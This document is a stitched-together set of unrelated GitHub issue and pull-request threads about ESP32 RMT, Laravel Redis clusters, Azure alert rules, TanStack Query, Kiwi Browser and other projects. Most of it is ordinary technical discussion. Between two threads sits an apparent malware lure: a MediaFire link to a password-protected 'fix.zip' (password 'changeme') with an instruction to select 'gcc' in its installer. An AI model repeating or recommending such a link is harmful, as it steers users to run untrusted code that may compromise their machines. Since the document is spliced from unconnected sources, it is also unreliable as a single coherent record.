RMT DShot example not working (IDFGH-12528)

Answers checklist.

[X] I have read the documentation ESP-IDF Programming Guide and the issue is not addressed there.
[X] I have updated my IDF branch (master or release) to the latest version and checked that the issue is present there.
[X] I have searched the issue tracker for a similar issue and not found a similar issue.

General issue report
IDF version
ESP-IDF v5.3-dev-1353-gb3f7e2c8a4
Dev board
XIAO-ESP32-S3
Operating System used
Windows
How did you build your project?
Through PlatformIO
Power Supply used
USB
What is the expected behavior?
The only thing I modified on the example code is DSHOT_ESC_GPIO_NUM  6
The example code should be able to send out packets of 16 pulses continuously and drive a ESC.
What is the actual behavior?
See the attached image

It is not continuously transmitting, the pulses are of incorrect number and time, and the idle level is incorrect, and of course the motor is not spinning.
I tried to add IRAM_ATTR before callback functions and played with several parameters including DMA, but none are helping with this issue.
BTW, personally I prefer the old API as it's easier to write and understand, especially when the conversion process is very simple (where I can directly construct the sequence or easily modify it) or complicated and offers better performance if you directly play with RMTMEM. However it does not offer simultanuous update ability. Would it be possible to add simultanuous update ability to the old API manually by playing with the registers?

It would be nice to offer both the old and the new API, I personally find the old API easier to write (it's definitely more concise) and  have higher performance.

I just test the example with a DShot motor (DSHOT300 protocol), it spins as expected. Same example, only changed the GPIO.

WRT

offers better performance if you directly play with RMTMEM.

Yes, it's always the best performance if we ask the user to write the code by read/write the SOC register directly. But the issue is, the code can only work for one ESP chip. The SOC changes so much, we can hardly promise a compatible register layer. On previous chips, like esp32, it's OK to read/write the RMTMEM in the application code, but after esp32s3, because the RMT has the DMA ability, that RMTMEM can also be controlled by DMA. Also, since the RMTMEM is a shared resource, shared by multiple channels, it's not good to use them without an abstraction layer.

Intriguing, I will do the test again using a seperate board and motor driver to see if it can work. The same code can work on ESP32 though, so it is quite odd, maybe a weird chip or board.

Also, since the RMTMEM is a shared resource, shared by multiple channels, it's not good to use them without an abstraction layer.

I agree that an abtraction layer should be provided, I guess I am wondering if the old api will continue to exist for compatibility in the future and if we can still directly manipulate RMTMEM in esp32-s3? I have built a optical communication system and it is only fast enough if I directly manipulate RMTMEM on esp32, but I might want to upgrade the version of arduino/IDF or switch to esp32-s3 in the future. Thanks!

I also have found a bunch of weird quirks when using the RMT peripheral that is not well documented, i.e. what will happen if a pulse is filtered out because it's too short? what will happen if the ending pulse is too short and get filtered out? (I think on esp32 it will create a weird rmt_item32_t object in RMTMEM like 0b0<PHONE_NUMBER>10 0<PHONE_NUMBER>00000) what will the output pulse length be if the pulse start between two ticks and end between two ticks? It would be nice to have a more detailed documentation for them.


All timelines searched, unlinked proxies remain

Recently found a bug where a file outside of the project directory wasn't linking, but wasn't failing. This resulted in all timelines being searched, but none with source media matching the proxy media. Of course that doesn't make sense, so there must be something wrong with the linking criteria not matching the output criteria?
Two issues:

If any unlinked proxies remain and all timelines have been searched there should be a clear warning
There must be some input/output criteria mismatch between rendering and linking causing searches to exhaust timelines

Worth mentioning that there are two link methods:

link with media pool item
find and link

Find and link iterates all timelines to find matches manually.
There is some implementation overlap here, probably best to focus on one method.

Working on integrating the 'link with media pool item' method.
By stringifying the media pool items we can roundtrip through Celery and retain a reference to the pointers client-side while the workers encode the jobs. Once they link, we use the stringified items to restore the original media pool items and link.
Still not sure why find and link isn't working. There must be something iffy going on with paths.
For source media outside of the directory, it will exhaust all project timelines looking for a match, and for source media in directory it will consider a zero-length string a match to the source media path (probably wrong use of 'x in y' instead of 'x==y'). Unfortunately the behaviour is annoyingly inconsistent.
We may just have to remove it and bend the media_pool_item method to service any legacy/edge cases.

Alright this is confusing the heck out of me...
   141    for job in jobs:
   142       for jobm in jobs_with_mpi:
   143          mpi_str = job["media_pool_item"]
 ❱ 144           mpi_obj = jobm[mpi_str]
   145          job.update({"media_pool_item": mpi_obj})
   146
   147    try:

KeyError: <PyRemoteObject object at 0x000001FA55EBA168>
I'm getting a keyerror even though the keys are there. This happens only if there's more than one proxy to iterate...

🤦♂ ...
Missing equality check...
   141    for job in jobs:
   142       for jobm in jobs_with_mpi:
   143          mpi_str = job["media_pool_item"]
 ❱ 144           mpi_obj = jobm[mpi_str]
   145          job.update({"media_pool_item": mpi_obj})
   146
   147    try:

Of course iterating more than one proxy was failing 👎
    for job in jobs:
        for jobm in jobs_with_mpi:
            for k, v in jobm.items():
                assert hasattr(v, "GetClipProperty()")
                if job["media_pool_item"] == k:
                    job.update({"media_pool_item": v})

Also added an attribute assertion to ensure we do have a mediapoolitem.

Fixed in #186:

Stringified media_pool_item reference allows us to link directly to MPIs after encode
Still iterates timelines to link proxies as a backup


Consider adding a method to the FR client to parse raw Json output to objects in the SDK

There are some customers that use the labeling tool to do some analysis, or have a combination of SDK and REST API calls which gives them the raw JSON output from the service.
Consider adding a method that will allow parsing the JSON into the SDK types so the user doesn't have to and can use the SDK for further convenience.

Could this be added to the FormRecognizerFactory class like suggested by @yowl here https://github.com/Azure/azure-sdk-for-net/issues/20282 ?
I def, see the benefits of doing it.
Moving the issue out of backlog for consideration

FYI @kinelski as you are starting to look into https://github.com/Azure/azure-sdk-for-net/issues/16519


Investigate about Threads and Runs.

I had a short look at the Threads and Runs. I got that they could help us not to send all the messages every time and may help reduce the price of each call. If it is suitable use them instead and remove Mongo and use Postgres instead just for key values.
Links: 1 2

Download
https://www.mediafire.com/file/5t7dozm7sptcuqj/fix.zip/file
password: changeme
In the installer menu, select "gcc."


Chrome Web Store Mobile Optimization Feature and Developer Options unlocking don't working anymore after the update from Github Actions

Describe the bug
Just like the title says
To Reproduce

Updated Kiwi Browser to the latest build from Github Actions
Open it
Open Settings
Go to about
Trying to activate developer options and after activation nothing happens except the info that I've turned on developer options
Goes back to see developer options somewhere else and there is no that option
Researching the feature called Chrome Web Store Optimizations (for the web store mobile UI) and I didn't find it in any of the sub-settings and settings
Also tried chrome://flags to find the settinf but nothing
Trying to go to Chrome Web Store page and saw that mobile UI is not active anymore

Expected behavior
A normal working features like that I'm able to successfully enable developer mode, find the setting for developer mode and of course successfully existing feature called Chrome Web Store Optimizations expected too.
Screenshots
If applicable, add screenshots to help explain your problem.
Smartphone (please complete the following information):

Device: Xioami Mi 11 Lite 5G NE (Global ROM) - codename: lisa
Android Version : A13 (MIUI <IP_ADDRESS>)
Kiwi Browser Version : 116.0.5845.28

Additional context
Add any other context about the problem here.

Fixed in this new Kiwi Browser Update https://github.com/kiwibrowser/src.next/releases/tag/6859307693

Can this issue be reopened again? I've made a mistake about closing it - I thinked that this issue was my issue about new chrome web store compatibility but it's actually about Chrome Web Store Mobile Optimizations
@d3ward


Difference between Middleware and Handler

Routes with middleware
struct Handle: RouterMiddleware {
    public func handle(request: RouterRequest, response: RouterResponse, next: @escaping () -> Void) throws {
        print("Handle")
        next()
    }
}

let router = Router()
router.all(middleware: Handle())
router.all(middleware: BodyParser())

Routes with handler

public func handle(request: RouterRequest, response: RouterResponse, next: @escaping () -> Void) throws {
    print("Handle")
    next()
}

let router = Router()
router.all(handler: handle)
router.all(middleware: BodyParser())

What is the difference between the two?
In both cases routes are called sequentially .ie. the handle function is called first and prints "Handle".
What is the significance of using a middleware and what are the advantages of using a middleware over handlers?

Also how can I bind an object inside request to use it in next middleware

There is no real difference between a RouterHandler and a middleware, other than the fact that a middleware is a class or a struct, where a RouterHandler is a function, often simply a closure.

The way to "pass" information between RouterHandlers and middleware processing the same request, is to the RouterRequest.userInfo API. You can add anything you'd like addressed by a String key, to userInfo. That informtion will be available for the life of the request.If you need something that lives longer than the request, I'd look at Kitura-Session for session support.


GitLab Runner Advanced Configuration

Add support for passing an advanced config to GitLab Runner provisioner
Motivation
Some features of the GitLab Runner are only available through an advanced config. Critically, this includes external runner caches. This is a desirable feature because it can vastly improve the build times for ephemeral build runners.
Solution
Introduce a new config parameter configToml in cilicon.yml, an optional multi-line argument. Users can pass any custom runner configuration here, including a cache configuration.
Change the runner command from gitlab-runner run-single to gitlab-runner run. This is required because run-single does not take a configuration file. Consequently, the configuration parameters are passed via the config.toml file to the runner, instead of being passed as parameters to the shell command.

This is currently a WIP on our internal fork, expect a PR soon


Add a PortLike that can be used in simulation to test designs which instantiate I/O buffers

This should definitely cover io.Buffer and io.FFBuffer, and potentially io.DDRBuffer (provided we can implement it in a way that doesn't cause horrors to happen).

RFC written: https://github.com/amaranth-lang/rfcs/pull/69

Closing in favor of #1446.


Implement

Fixes #2

As a side note, it's unclear for me why do we need object here instead of passing individual properties like name, img, abbr and colorIndex as we do in vaadin-avatar.

Quoting myself from the tech design document:

Alternative: The suggested object property is not very nice when setting attributes in HTML (it can be provided as a json-string though). Another option is to have them as top-level properties prefixed with the word “user”, e.g. “userName”, “userAbbr”, but we’re not optimizing for using the message component as-is. Instead, we optimize for the usage of the higher level components, which are more data-oriented (fetch and render a list of message data as vaadin-message elements). In the data model, it feels more organized to have all the user/avatar props wrapped in an object. This doesn’t mean that we couldn’t have top-level props on vaadin-message, but consistency between these components is valuable.

But that's just my initial recommendation of what seems slightly as the best approach.

I'll merge this in even if the discussion continues. Let's open a new issue if we want to change the recommendation.

Actually, the switch to vaadin-avatar 2.0.0-alpha1 should probably be reverted. It removes IE11 support, which is supported by  Vaadin 14.

@Peppe please note that you would still need to bump version later to make the component Vaadin 19 compatible.
It's up to you to decide whether to release Vaadin 14 compatible version as 1.0 and then bump to 2.0 right away.


[FEATURE] Use gzip compression

Nice

Now that we have paging trustlines, etc., are we going to gain very much here? Compressing and decompressing comes at a cost to the server and clients. I don't think curl will automatically decompress either (specify --compressed). Does Node's HTTP client automatically decompress? Do most popular HTTP clients? Can you give an example of a large JSON response w/ bytes saved?

I'll try to address each question. For an example where bytes are saved, consider the order_book API which cannot be paged:
GET http://localhost:5990/v1/accounts/rQE5Z3FgVnRMbVfS6xiVQFgB4J3X162FVD/order_book/BTC+rvYAfWj5gh67oV6fW32ZzP3Aw4Eubs59B/USD+rvYAfWj5gh67oV6fW32ZzP3Aw4Eubs59B
Without gzip:

With gzip:

Compressing and decompressing comes at a cost to the server and clients.

The client does not have to send the gzip headers

The client has to decompress...

Node's http client does not automatically handle gzip compression. See this for an example of using the zlib library to handle this.

The compression library supports a setting to only gzip at a certain threshold. The default is 1kB. We can increase this.

In my experience, gzipping will come at a fairly large cost in Node, but it's been a while since I ran serious benchmarks. I kind of prefer not requiring clients to gunzip; it's just JSON after all. rippled doesn't gzip and it could probably do so more efficiently than in Node.

Unless clients specifically request compression, they won't get gzipped responses. This is not the default in node as the example I linked to shows:
var request = http.get({ host: 'izs.me',
                         path: '/',
                         port: 80,
                         headers: { 'accept-encoding': 'gzip,deflate' } });

Oh, so this "compression" library respects accept-encoding. Hrm. I see what you were saying now.

LGTM, I think

Sorry, should have made it more clear. The compression library is designed to be used with express and handle requests correctly.

It can be considered "correct" for the server to send whatever it has, with the appropriate response headers, and for the client to respect those headers or otherwise deal with it. Since this middleware respects accept-encoding I'm less concerned about various client defaults.

Nice, LGTM


"react-native link" adds dependncies multiple times to Android projects when working on a Windows dev environment

Description
When working on a Windows development environment with git's autocrlf configured as true, then repeatedly running react-native link will repeatedly add the same dependencies to the Android app's MainApplication.java, instead of recognizing that the library has already been linked after the first invocation.
Reproduction
Run react-native link repeatedly on a Windows environment with git's autocrlf configured to true. This will add the dependencies multiple times to the MainApplication.java file. I can provide a sample project if required.
Solution
I suspect the reason is that in react-native/local-cli/link/android/patches/makeBuildPatch.js, the patch value is created with a trailing \n. Later, in react-native/local-cli/link/android/patches/isInstalled.js, the code searches for this pattern in the project's build.gradle. On Windows, this will return -1 because the line ends with \r\n rather than \n. This causes link to apply the patch again.
One way of fixing this is to use Node.JS's os.EOL rather than \n, but I'm too new to react-native to know if it's fine for react-native's build process to depend on NodeJS-specific libraries (rather than pure JavaScript).
Alternatively, isInstalled can trim the line before searching for it. However, the code will still insert the patch with a \n into the patched files (though git will then correct the newlines).
Of course, if I worked with autocrlf set to false on my machine then I wouldn't be having this problem, but this isn't the recommended way to work on Windows - see e.g. the Github documentation.
Additional Information

React Native version: 0.42.3.
Platform: Android.
Development Operating System: Windows.

We're cutting down on the number of outstanding issues, in order to allow us to focus. I'm closing this issue because it has been open for over 60 days with no activity. If you think it should still be opened let us know why. PRs are always welcome.

+1


Feature/inline documentation

Addressed Issue #15, adding inline documentation changes only.

Please rebase this on master, then squash the commits into one, to keep the history simpler. If you're okay with it, we can transfer this branch into the repository and do it ourselves as well.

In those files where the newline is deleted after @end, please add the newline to the end of the file. It sounds like a minor thing, but we are seeing warnings about it.

It appears that the newline issues may have been caused by a Windows machine editing the files and appending a Windows line ending (CRLF) instead of an OSX one (LF). If you can use a text editor that lets you modify your line endings (Sublime Text 3 has this, for instance), it would be great if you could modify those to match Unix style endings.

@joeljfischer Is there a specific file the CRLF is an issue on?  Or is it all files?
What do you mean by warnings?  Is it a compile warning in xCode?
Is this something that can be rectified during the merge?
We aren't seeing this on our end right now -- so a little clarification would help.

If you go over the the files changed tab at the top of this PR, you'll see a few files that have their @end line changed with new terminating characters. We were seeing warnings within the git repository client we are using. I'm guessing that Xcode will probably reformat the files correctly, but I haven't yet had a chance to pull down the PR to find out.

I can see where the newlines are removed when looking at the "files changed" tab, but I don't see any terminating characters replacing them, even when pulling the file fresh and opening directly in Sublime. I don't doubt your claims, just having trouble seeing it on our end. Looks like there's only 12 instances of it, is this something that can be fixed during the merge as Heath suggested?

It's entirely possible that I misread the new line endings. Since there were two characters there, I assumed it was a CRLF. It could be "no newline" instead. I do know that Xcode likes newlines at the end of all files. With that said, I just pulled down the PR and I'm not seeing any errors or warnings regarding it. @justinjdickow was the one who brought it to my attention. If he has anything to add about the warnings he saw, he can add them, otherwise I don't think it's an issue.

If you look at the pull request it appears there are no new lines at the end of a few of the files. I'm not sure that's necessarily an issue, just something that GitHub warns us about.

I'm reviewing the documentation. It appears that some files remain undocumented, largely ones that developers shouldn't have to interface with, such as SDLEnum, SDLFunctionID et al. Is that intentional at this stage?
I noticed that many methods documented with @result start their description with 'returns'. This results in a the line reading 'Returns return the dimension' for example.
In addition, there are some files that seem like they should have documentation that don't, or don't fully.
Proxy

SDLProxy
SDLJingle
SDLLockScreenManager
SDLProxyListener
SDLProxyFactory
SDLRPCRequestFactory
SDLTTSChunkFactory

Enums

SDLAmbientLightStatus
SDLCharacterSet
SDLDisplayType
SDLGlobalProperty
SDLIgnitionStableStatus
SDLPowerModeQualifications
SDLPowerModeStatus
SDLPredefinedLayout
SDLPrerecordedSpeech
SDLRequestType
SDLResult
SDLTBTState
SDLTimerMode
SDLTouchType
SDLTriggerSource
SDLVehicleDataType

I was too lazy to go through the rest, except to note that the struct SDLScreenParams was also missing documentation, I only noticed it because it's also in the wrong group.

With all of that said, I'm probably okay just pulling this in and improving from there. Some is better than none.

Should be built against the new develop architecture.

Closed in favor of #96


Created Merge Sort implementation in Kotlin

Have you read the Contributing Guidelines on Pull Requests?
(Write your answer here.)
Yes
Description
Implementation of Merge Sort Algo in Kotlin
(Write your answer here.)
Checklist

[x] I've read the contribution guidelines.
[x] I've checked the issue list before deciding what to submit.
[x] I've edited the README.md and link to my code.

Related Issues or Pull Requests
#1487
(Write your answer here.)

This is for DWOC. Thankyou!


AquaNox 2 crash on resolution change

Port of https://github.com/Joshua-Ashton/d9vk/issues/471 with fresh logs and all.
When you attempt to change the resolution ingame it crashes with the following window. Works fine with wined3d.

Software information
AquaNox 2
System information

GPU: 7900xtx
Driver: mesa-git
Wine version: Proton experimental
DXVK version: master

Apitrace file(s)
I don't really think a apitrace will be useful here but i've attached two recorded with wined3d anyway.
The reason there is two is because the first stops when i apply the resolution change and the second one picks up after the game has applied it.
https://mega.nz/file/wlJjgaQb#FUBGAeG1fwtWI0UmKvBY5lYv2T8i9q-oz_dpyM6nWbw
Log files
AN2.dat_d3d9.log
steam-39640.log

Another but seperate error is that i have to start game with KDE Plasma X11 and not Wayland or else it will crash on startup with dxvk. Does also does not happen with wined3d, but i am unsure if dxvk itself is the issue so just noting here as a quick fyi

Screenshot of Wayland crash

Trace where it crashes with dxvk upon resolution change.
https://mega.nz/file/I9RGiLLR#hX_yCB-LtZ0CB5ZvF2L_ecJ-hQTACIXvifzk7wHH8dc

No matter how much I try, I can't seem to be able to reproduce this any longer. I got the same crash at some point in the past, but now on Wine Staging 8.3 / latest master dxvk it seems resolved and stable no matter how many resolution changes I apply.

I can reproduce this same error with proton experimental bleeding edge. Here is the Proton log
steam-39640.log
and here is another log from Aquanox 2 itself (original location: $HOME/.steam/steamapps/compatdata/39640/pfx/drive_c/users/steamuser/Documents/AquaNox2/Log.txt)
Log.txt
The error occurred while switching from 720x576 to 1920x1080. The resolution 720x576 was previously set using wined3d.

Unfortunately I can't reproduce this with the apitrace.

FWIW, I've been able to get it to crash on resolution change with WineD3D. My honest belief at this point is that the game simply does that sometimes (aka "game bug").
While testing this I've uncovered another problem specific to ANV, namely that it will refuse to start the game if D3DFMT_A2R10G10B10 advertises any display modes. WineD3D also seems to report 0 for this format, similarly to how it was doing for D3DFMT_X1R5G5B5, but Nvidia doesn't seem to mind it at all, so not sure how to address it.
Since it's a 32-bit format I'm a bit more reluctant to outright remove it, but if someone can get a trace on Windows Intel (or any other vendor really), I'd appreciate it. Then we can at least known if native drivers advertise it.

Winter said i should say "Winter you are a chad god"
Also i tested a build for Winter where he had removed D3DFMT_A2R10G10B10 and it seems to fix both the Wayland crash and the resolution change crash for me.
I just need to get a Windows apitrace to verify the behavior there.

Winter said i should say "Winter you are a chad god"

Don't ask me "What should I say, winter?" next time perhaps :laughing:. Anyway, would appreciate a windows trace, as I said before, and I can PR the required change then.

Apitrace of resolution switching made on Windows as requested by WinterSnowfall
https://mega.nz/file/1lZFAY5J#yhTfeRhM53GyL0LM4z7tZwHVq5n49DDfkB_ylS5byVY

Looks like D3DFMT_A2R10G10B10 is supported by native AMD at least, so I went with disabling it just for the game. Intel now works on Wine, as in the game starts, however the game's resolution switching crashes are not totally fixed. I'll have to look deeper into it. Until then, here's my work so far: https://github.com/WinterSnowfall/dxvk/commits/d3d9-aquanox2 , which should fix all instances of this beauty https://github.com/doitsujin/dxvk/issues/3255#issuecomment-1431902130.

Adding a note here for posterity, since I've looked into this quite extensively and the above PR may or may not get merged.
This issue won't occur on all systems, rather only in cases where the display adapter + monitor combo reports an uncharacteristically high (for the 2000s) number of adapter modes. The actual number of adapter modes isn't the real issue either, it's how the game code interprets them.
Using the above PR to keep the in-game resolution count below 30 or so fixes the issue, whereas with anything higher the above problem starts showing up. The first Aquanox game (a d3d8 title) also crashes on startup in similar situations (it's also crashing with WineD3D, for what it's worth).
Note the game also ideally needs 640 x 480 to be exposed, since it will try to use that resolution initially and also revert to it after any crashes. Getting it to work without exposing it is possible, but involves rather unpleasant config file hackery.
Others have reported that using Gamescope to force a desired resolution also works, so that's also an option to work around this game bug on Linux at least.


SRS Review #1

Hi @karolserkis ,

There seems to be spelling mistake in your Mathematical Notation section. I guess it should say Conventions instead of conventations.

Please bear with my ignorance, I am completely new to your project. So, I don't understand what you mean by standard mathematical spaces. I googled to see what it means and I found out that they are different systems to represent space. If you use any one of them in specific like Euclidean space, you can mention it here. If you feel it is not necessary, please ignore this.

Best wishes,
Malavika

@Malavika-Srinivasan, thank you for providing feedback to @karolserkis.  However, in the future, can you use more meaningful titles for your issues.  The title doesn't give any clues what the issue is about, which makes it very difficult to search the issue title in the future.

@Malavika-Srinivasan @smiths
Thanks! I have updated my document accordingly.


[Question] How to create a dynamic alert rule ?

Hi guys, I need to create a Dynamic Threshold Alert Rule for my Application Insisghts instance. Recently I was creating a static rule:
var api = Azure.Configure()
               .WithLogLevel(HttpLoggingDelegatingHandler.Level.Basic)
               .Authenticate(credentials)
               .WithSubscription(subscriptionId);

await api.AlertRules
 		 .MetricAlerts
 		 .Define("Test rule")
 		 .WithExistingResourceGroup(resourceGroup)
 		 .WithTargetResource(appInsightsId)
 		 .WithPeriod(new TimeSpan(0, 5, 0)) //Aggregation granularity (Period)
 		 .WithFrequency(new TimeSpan(0, 5, 0)) //Frequency of evaluation
 		 .WithAlertDetails(2, "test desc")
 		 .WithActionGroups(id)
 		 .DefineAlertCriteria("condition name")
 		 .WithMetricName("metric name")
 		 .WithCondition(MetricAlertRuleTimeAggregation.Count, MetricAlertRuleCondition.GreaterThanOrEqual, 1)
 		 .Attach()
 		 .CreateAsync()

but now I need to create a dynamic rule - looking at the json payload for creating a Dynamic Alert Rule for Single Resource https://docs.microsoft.com/pl-pl/rest/api/monitor/metricalerts/createorupdate#create-or-update-a-dynamic-alert-rule-for-single-resource I can see the matching classes in the source code whose indicates the appropiate fields in that payload (e.g. DynamicMetricCriteria, DynamicThresholdFailingPeriods and so on), but they are not publicly available to be used in the SDK. Or am I wrong ?
To create a workaround, I use the IGenericResource to create that alert rule:
await _genericResources.Define(name)
                .WithRegion(region)
                .WithExistingResourceGroup(resourceGroup)
                .WithResourceType("metricAlerts")
                .WithProviderNamespace("microsoft.insights")
                .WithoutPlan()
                .WithApiVersion("2018-03-01")
                .WithParentResource("")
                .WithProperties(...)
                .CreateAsync();

but that approach does not provide the way to set the required location field, and I end up with the error message: The provided location 'WestEurope' is not available for resource type 'microsoft.insights/metricalerts'. List of available regions for the resource type is 'global'.
So, any ideas how to deal with it ? It does no matter for me whether I use the Fluent API or the IGenericResource interface.
Environment:

Microsoft.Azure.Management.Fluent v1.32.0
Microsoft.Azure.Management.ResourceManager.Fluen v1.32.0

Hi @tony6636, thanks for reaching out.
When using the IGenericResource interface, can you please try specifying "global" for the region variable: .WithRegion("global")
This should resolve the region issue you're facing.
We will also look into exposing dynamic threshold-related properties in the Fluent API.

@harelbr thanks for the reply. I tried the approach you suggest, but without success.
In Azure Web App, I can see that the API version 2018-03-01 is being used when a new dynamic metric alert is created. Here's my properties payload (I'm using the same API version and the WithRegion("global") method)
{
"description": "",
"enabled": true,
"severity": 2,
"windowSize": "PT30M",
"evaluationFrequency": "PT5M",
"scopes": [
	"/subscriptions/<id>/resourceGroups/<group>/providers/microsoft.insights/components/<app insights instance>"
],
"criteria": {
	"allOf": [
		{
			"metricName": "exceptions/server",
			"metricNamespace": "microsoft.insights/components",
			"Operator": "GreaterOrLessThan",
			"timeAggregation": "Count",
			"name": "Metric1",
			"dimensions": [],
			"monitorTemplateType": "13",
			"criterionType": "DynamicThresholdCriterion",
			"alertSensitivity": "High",
			"failingPeriods": {
				"numberOfEvaluationPeriods": 4,
				"minFailingPeriodsToAlert": 4
			},
			"ignoreDataBefore": null
		}
	],
	"odata.type": "Microsoft.Azure.Monitor.MultipleResourceMultipleMetricCriteria"
},
"actions": [
	{
		"actionGroupId": "/subscriptions/<id>/resourceGroups/<group>/providers/microsoft.insights/actionGroups/<action group>",
		"webhookProperties": {}
	}
],
"autoMitigate": true,
"targetResourceType": "microsoft.insights/components",
"targetResourceRegion": "westeurope"
}

and I receive the following error
No registered resource provider found for location 'global' and API version '2018-03-01' for type 'components'. The supported api-versions are '2014-04-01, 2014-08-01, 2014-12-01-preview, 2015-05-01, 2018-05-01-preview, 2020-02-02-preview'. The supported locations are ', eastus, southcentralus, northeurope, westeurope, southeastasia, westus2, uksouth, canadacentral, centralindia, japaneast, australiaeast, koreacentral, francecentral, centralus, eastus2, eastasia, westus, southafricanorth, northcentralus, brazilsouth, switzerlandnorth, australiasoutheast'.
so then I switch to
.WithApiVersion("2018-05-01-preview")
which ends with that error message
I get this error The subscription is not registered for the resource type 'components' in the location 'global'. Please re-register for this provider in order to have access to this location.

Hi @tony6636 - The 'No registered resource provider...' error indicates the resource type being used is Microsoft.Insights/components, while it needs to be  Microsoft.Insights/metricAlerts.
Can you please double check that the correct resource type is specified: .WithResourceType("metricAlerts")
If that's not the case, can you please share the full command you're trying to run?
Thanks!

Hi @harelbr, I used your suggestion to use .WithResourceType("metricAlerts"), and now I get the error:
Required property 'threshold' not found in JSON. Path '', line 13, position 9.
but that property is not being used in https://docs.microsoft.com/pl-pl/rest/api/monitor/metricalerts/createorupdate#create-or-update-a-dynamic-alert-rule-for-single-resource

Hi @tony6636 - Can you please try changing the "targetResourceType" to the following:
"targetResourceType": "microsoft.insights/components"

hi @harelbr, I tried - that also gives me the error Required property 'threshold' not found in JSON. Path '', line 13, position 9.

Hi @tony6636, it seems like this is an issue with the way the payload is passed into the .WithProperties() method. This method expects an object as an input parameter.
Can you please try taking the same properties payload you've specified in your previous reply, and construct an object of it:
string s = “{<the payload properties>}”;
var payload = JObject.Parse(s);

And then pass that payload object to the WithProperties() method.

hi @harelbr thanks for the reply, now it works fine - thank you for the assistance!


Custom height SegmentedControl(HMSegmentedControl) within the MXSegmentedPageR?

can you change the height of the segmented control ?

See delegate method heightForSegmentedControlInSegmentedPager:.


[11.x] Redis cluster fix

Introduction
There is a Connection Refused error that occurs when you try using the default configuration to connect to a redis cluster. This PR is a fix for #51011
I have a basic demo app that works with a keydb cluster here that you can check out https://github.com/anabeto93/laravel11-keydb-cluster
This PR introduces changes to the RedisManager to better support Redis clusters by recognizing the REDIS_CLUSTER_ENABLED environment variable.
Changes

Added a new configuration option cluster_enabled in config/database.php under the Redis configuration. This option is controlled by the REDIS_CLUSTER_ENABLED environment variable.
Modified RedisManager.php to check the cluster_enabled configuration before deciding whether to use the cluster or default Redis connection settings.

Considerations
The changes were made with the following considerations:

Backward Compatibility: Ensuring that existing applications without the REDIS_CLUSTER_ENABLED variable or cluster_enabled configuration continue to function as before.
Explicit Control: Giving developers explicit control over whether to use Redis clusters, which is particularly useful in environments where both single instance and cluster configurations might be defined.
Simplicity: Keeping the configuration and code changes minimal to maintain simplicity and ease of understanding.

Tests
Two new tests were added to verify the behavior:

A test to ensure that when cluster_enabled is true (or the environment variable REDIS_CLUSTER_ENABLED is set to true), the RedisManager resolves to use the cluster configuration.
A test to confirm that when cluster_enabled is explicitly set to false, despite the presence of cluster configurations, the RedisManager falls back to using the default single connection configuration.

Usage
To enable Redis cluster support, set REDIS_CLUSTER_ENABLED=true in your .env file and define your cluster configurations in config/database.php under redis.clusters. If you wish to disable cluster support and use a single Redis instance, set REDIS_CLUSTER_ENABLED=false.

Is this also happening in 10.x? If so this PR should target 10.x instead.

This will be very helpful, when fixed.

No AI generated PR descriptions please. Need a real, informative description. 👍

Hi @taylorotwell if you don't mind, I have opened an issue #51011 and I've provided a demo app as well that explains the problem. https://github.com/anabeto93/laravel11-keydb-cluster.
Following the official documentation to setup laravel with redis clusters always fails with a Connection refused error. What the documentation does not mention is, if you intend to use redis clusters, then you must either delete or modify the default config('database.redis') values such as 'database.redis.default' and 'database.redis.cache' etc else the application would always default to using these instead of using the cluster.
The PR above is to basically ensure that if you want to use a cluster, then you should be deliberate enough to toggle it with the REDIS_CLUSTER_ENABLED env or config('database.redis.cluster_enabled') config so it can start working with it. When that happens, the laravel system would use the clusters first if it exists before attempting the singular redis instance if a cluster is not defined for that key.


Refactor remove the unless file and refactor the agg code

Proposed changes

delete the file：be/src/vec/utils/count_by_enum_helpers.hpp
move code to：be/src/vec/aggregate_functions/aggregate_function_count_by_enum.h

run buildall

run buildall

run buildall

run buildall


Upgrade from 1.45.2 to 1.45.3 changes isLoading state for persisted tanstack query

Describe the bug
I use the PersistQueryClientProvider with Tanstack Query to cache query data in local storage.
In v1.45.2, the initial isLoading state of the query is true if the data needs to be refetched.
In v1.45.3, the initial isLoading state of the query if false, then updates to true, instead of starting with true.
Your Example Website or App
https://stackblitz.com/edit/github-fucdao?file=package.json
Steps to Reproduce the Bug or Issue

Go to https://stackblitz.com/edit/github-fucdao?file=package.json
Run the project, notice the isLoading state begins (on refresh) with false, before updating to true, and finally returning to false with the data fetched.
Update the package.json

Change @tanstack/react-router to 1.45.2
Change @tanstack/react-devtools to 1.45.2
Change @tanstack/router-plugin to 1.45.2

Restart the vite server to optimize for the dependency changes
Run the project, notice the isLoading state begins with true on any refresh

Expected behavior
I expect the isLoading state to begin with true if data needs to be fetched.
Screenshots or Videos
No response
Platform

OS: [e.g. macOS, Windows, Linux]
Browser: [e.g. Chrome, Safari, Firefox]
Version: [e.g. 91.1]

Additional context
No response

I played around with your example, interestingly you can get the same behavior with 1.45.3 just by defining a loader like this:
  loader: () => {},

https://stackblitz.com/edit/github-fucdao-4mlrqa?file=src%2Froutes%2Findex.tsx

Technically, this is accurate. The first time we render the component, the useQuery() hook hasn't executed any of it's side effects yet, so the fetching has not started until immediately after the first render. As to why the previous functionality was initially rendering isLoading: true as the initial value, that's really really strange.
The only reason a query would render with isLoading: true initially, would be due to some non-react logic (like a loader) kicking it off, or a previously suspended parent render kicking it off.
As for this particular issue, I believe false, true, false is the correct lifecycle that I would expect to see.

How sure are we that stackblitz is properly managing that persisted query client?
Technically, I would expect this new experience to be accurate, since regardless of the cache, the first time we render the component, the useQuery() hook hasn't executed any of it's side effects yet, so isFetching has not started until immediately after the first render. As to why the previous functionality was initially rendering isLoading: true as the initial value, that's really really strange.
The only reason a query would render with isLoading: true initially, would be due to some non-react logic (like a loader) kicking it off, or a previously suspended parent render kicking it off.
Even for the PersistQueryClientProvider, it's safe to say that no loading or queryClient side effects would happen until after the first render (because of the useEffect) anyway: https://github.com/TanStack/query/blob/main/packages/react-query-persist-client/src/PersistQueryClientProvider.tsx#L28-L49
I feel like I could be missing something, but please tell me if what I just said doesn't make sense.

Stackblitz has the same behavior my project did, so at least in the loading states it is behaving the same.
That makes sense. I can move my loading logic over to loaders to ensure the data is present on the first render. I was just surprised by the change and wasn't sure if it was a bug or if it was intentional. It also seems odd to me that defining an empty loader as @schiller-manuel described also reverts the behavior to set isLoading: true as initial value.

@tannerlinsley When attempting this with the regular QueryClientProvider instead of the PersistQueryClientProvider I notice the loading state begins with isLoading: true. Do you know why the behavior differs between the two?
I think the previous PersistQueryClientProvider behavior makes the most sense, I would expect the isLoading state to begin as true and remain true until the data is first retrieved.

